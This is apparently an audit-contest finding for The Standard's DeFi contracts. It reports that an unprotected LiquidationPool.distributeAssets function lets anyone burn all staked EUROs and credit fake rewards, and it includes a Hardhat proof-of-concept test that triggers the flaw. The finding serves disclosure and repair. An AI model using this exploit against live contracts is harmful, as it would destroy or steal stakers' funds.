The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

burn all staked EUROs

Summary

It is possible to construct a call to LiquidationPool.distributeAssets such that it burns all staked EUROs.

Vulnerability Details

LiquidationPool.distributeAssets function is external and unprotected. With the right choice of arguments, it will distribute non-existing assets to the stakers, burning their staked EUROs in the process. The constraints for the arguments are possible reverts due to failed transfer attempts:

  • the passed assets must have token.addr == address(0) (line 229)

  • the passed assets must have either token.symbol == bytes32(0) (line 198) or the amount must exactly match the stakers total purchasing power, so that line 200 does not revert.

one possible construct:

describe('distribute fake assets', async () => {
it('burns everyones euros', async () => {
const stake1 = ethers.utils.parseEther('100');
await TST.mint(user1.address, stake1);
await TST.approve(LiquidationPool.address, stake1);
await EUROs.mint(user1.address, stake1);
await EUROs.approve(LiquidationPool.address, stake1);
await LiquidationPool.increasePosition(stake1, stake1);
await fastForward(DAY);
const EthUsd = await (await ethers.getContractFactory('MockChainlink')).deploy(200000000000, 'ETH/USD');
const assets = [{token:{ symbol:ethers.utils.formatBytes32String(''), addr:ethers.constants.AddressZero, dec:18, clAddr:EthUsd.address, clDec:18 }, amount: ethers.utils.parseEther('1')}]
await LiquidationPool.distributeAssets(assets, COLLATERAL_RATE, HUNDRED_PC)
const { _position } = await LiquidationPool.position(user1.address);
expect(_position.EUROs).to.equal(0);
});
});

Impact

The above version will burn all stakers EUROs and add non-existent rewards for these stakers. Because of token.symbol == bytes32(0) the rewards will not be recognized by the rest of the code, which depend on TokenManager entries, where the native token has symbol == 'ETH'. By matching the amounts exactly, it would also be possible to produce fake rewards with symbol == 'ETH'. In this case, the rewards would not be ignored by the rest of the code, and due the the non-existence of the actual tokens in the contract's balance, it would introduce further problems, such as reverting all claimRewards calls or if any ETH tokens are actually present, transferring them to unauthorized users

Recommendations

Protect LiquidationPool.distributeAssets or ensure the logic will not distribute fake assets.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.